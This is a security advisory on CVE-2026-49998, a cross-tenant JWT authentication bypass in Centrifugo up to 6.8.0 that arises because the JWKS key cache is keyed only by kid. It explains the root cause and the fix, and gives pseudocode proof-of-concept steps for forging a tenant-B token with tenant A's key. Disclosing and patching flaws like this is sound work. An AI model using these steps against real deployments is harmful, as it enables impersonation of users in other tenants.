high · 8.2CVE-2026-49998Jul 1, 2026

CVE-2026-49998: Centrifugo Cross-Issuer JWT Authentication Bypass via JWKS Kid Cache Collision

Shubham Kandhare
Security Engagement Manager, SecureLayer7

In Centrifugo's multi-tenant dynamic JWKS setup, a valid token for one tenant can silently authenticate as a completely different tenant because the key cache is keyed only by kid, not by which JWKS…

Packagegithub.com/centrifugal/centrifugo/v6
Ecosystemgo
Affected<= 6.8.0
Fixed in6.8.1

The problem

Centrifugo supports dynamic JWKS endpoint templates such as https://idp.example.com/{{tenant}}/jwks.json, where {{tenant}} is extracted from the JWT iss or aud claim. This powers multi-tenant deployments where each tenant has its own signing keys.

The JWKS key cache (internal/jwks/cache_ttl.go) and the singleflight deduplication group (internal/jwks/manager.go) both key lookups solely on the JWT header kid. The resolved JWKS URL is computed only after the cache is consulted. As a result, once tenant A's key is stored under kid=shared-kid, any subsequent token claiming tenant B with the same kid is verified against tenant A's cached public key, without ever contacting tenant B's JWKS endpoint.

Both connection tokens (VerifyConnectToken) and subscription tokens (VerifySubscribeToken) share the same vulnerable manager.

Proof of concept

A working proof-of-concept for CVE-2026-49998 in github.com/centrifugal/centrifugo/v6, with the exact payload below.

go
// Scenario: two tenants, same kid value, attacker holds tenant-A's private key.
// Config (centrifugo):
// client.token.jwks_public_endpoint: "https://idp.example.com/{{tenant}}/jwks.json"
// client.token.issuer_regex:         "^(?P<tenant>tenant-a|tenant-b)$"

// Step 1 – authenticate legitimately as tenant-a (primes cache with tenant-A's public key under kid="shared-kid")
legitTenantAToken := buildJWT(user="tenant-a-user", iss="tenant-a", kid="shared-kid", signWith=tenantAPrivateKey)
POST /connection  Authorization: Bearer <legitTenantAToken>   // -> 200 OK, cache now: {"shared-kid": tenantA_pubkey}

// Step 2 – forge a tenant-b token signed with tenant-A's private key
forgedTenantBToken := buildJWT(user="victim", iss="tenant-b", kid="shared-kid", signWith=tenantAPrivateKey)
POST /connection  Authorization: Bearer <forgedTenantBToken>
// -> 200 OK  (tenant-B JWKS endpoint is NEVER contacted)
// -> authenticated as "victim" inside tenant-b's namespace

// Minimal Go unit test (from advisory PoC – run against <= 6.8.0):
// go test ./internal/jwtverify -run TestJWKSCacheKeyIsNotScopedToTemplatedEndpointPoC -count=1 -v
// Expected on vulnerable build: PASS (forged token accepted, tenant-B request counter unchanged)

The root cause (CWE-347: Improper Verification of Cryptographic Signature) is that Manager.FetchKey in internal/jwks/manager.go calls m.cache.Get(kid) and m.group.Do(kid, ...) before computing jwkURL := m.url.ExecuteString(tokenVars). The cache key is only kid, so a key fetched from tenant A's endpoint satisfies a lookup intended for tenant B's endpoint if both publish a key with the same kid.

The fix in PR #1142 (v6.8.1) resolves the JWKS URL first, then forms a composite cache key of resolvedURL + "\x00" + kid for both the TTL cache and the singleflight group. This ensures keys from different trust domains never collide, even when issuers reuse common kid labels like current, default, or rotation counters.

The kid field is not globally unique by the JWK specification, so relying on it alone as a namespace boundary is always unsafe in a multi-issuer context.

The fix

Upgrade to Centrifugo v6.8.1. The patch (PR #1142) scopes every cache and singleflight lookup to the composite key resolvedJWKSEndpointURL + "\x00" + kid, eliminating the cross-tenant key reuse. No configuration changes are required for the cache-scoping fix itself, though you should confirm your issuer_regex / audience_regex named groups enumerate only explicit allowed tenant values (e.g. ^(?P<tenant>tenant-a|tenant-b)$) as a defence-in-depth measure.

Reported by sondt99.

References: [1][2]

Related research